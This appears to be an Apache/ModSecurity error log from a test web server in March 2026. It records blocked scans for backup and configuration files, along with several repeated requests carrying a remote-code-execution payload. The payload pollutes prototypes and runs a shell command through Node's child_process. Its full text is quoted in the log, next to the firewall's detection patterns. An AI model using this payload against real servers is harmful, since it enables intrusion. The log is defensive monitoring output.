[Sun Mar 01 20:26:34.037231 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot.bak&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUTgAAAAI&quot;]
[Sun Mar 01 20:26:34.105703 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winrar/rarreg.key&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUUQAAAAI&quot;]
[Sun Mar 01 20:26:34.106231 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winrar/rarreg.key&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUUQAAAAI&quot;]
[Sun Mar 01 20:26:34.106405 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winrar/rarreg.key&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUUQAAAAI&quot;]
[Sun Mar 01 20:26:34.356404 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-backup.sql&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUXAAAAAI&quot;]
[Sun Mar 01 20:26:34.356950 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-backup.sql&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUXAAAAAI&quot;]
[Sun Mar 01 20:26:34.357136 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-backup.sql&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUXAAAAAI&quot;]
[Sun Mar 01 20:26:35.393354 2026] [:error] [pid 2400024] [client 185.177.72.30:30980] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zabbix/conf/zabbix.conf&quot;] [unique_id &quot;aaSS6y6-W2gySGukkzufLwAAAAM&quot;]
[Sun Mar 01 20:26:35.393837 2026] [:error] [pid 2400024] [client 185.177.72.30:30980] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zabbix/conf/zabbix.conf&quot;] [unique_id &quot;aaSS6y6-W2gySGukkzufLwAAAAM&quot;]
[Sun Mar 01 20:26:35.394003 2026] [:error] [pid 2400024] [client 185.177.72.30:30980] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zabbix/conf/zabbix.conf&quot;] [unique_id &quot;aaSS6y6-W2gySGukkzufLwAAAAM&quot;]
[Wed Mar 04 02:41:50.137938 2026] [authz_core:error] [pid 2462074] [client 147.185.132.36:58580] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Mar 04 18:05:21.053079 2026] [authz_core:error] [pid 2474131] [client 198.235.24.231:64988] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Mar 04 19:37:20.398632 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrQAAAAw&quot;]
[Wed Mar 04 19:37:20.399005 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrQAAAAw&quot;]
[Wed Mar 04 19:37:20.399639 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrQAAAAw&quot;]
[Wed Mar 04 19:37:20.399780 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrQAAAAw&quot;]
[Wed Mar 04 19:37:20.514499 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrgAAAAw&quot;]
[Wed Mar 04 19:37:20.514862 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrgAAAAw&quot;]
[Wed Mar 04 19:37:20.515586 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrgAAAAw&quot;]
[Wed Mar 04 19:37:20.515744 2026] [:error] [pid 2474134] [client 3.140.194.28:55584] [client 3.140.194.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aah74BFH9AJgAX8K_nSgrgAAAAw&quot;]
[Wed Mar 04 20:56:43.269735 2026] [authz_core:error] [pid 2465543] [client 198.235.24.97:62056] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Mar 04 21:57:39.109560 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubAAAAAA&quot;]
[Wed Mar 04 21:57:39.109903 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubAAAAAA&quot;]
[Wed Mar 04 21:57:39.110524 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubAAAAAA&quot;]
[Wed Mar 04 21:57:39.110672 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubAAAAAA&quot;]
[Wed Mar 04 21:57:39.278935 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubQAAAAA&quot;]
[Wed Mar 04 21:57:39.279277 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubQAAAAA&quot;]
[Wed Mar 04 21:57:39.280010 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubQAAAAA&quot;]
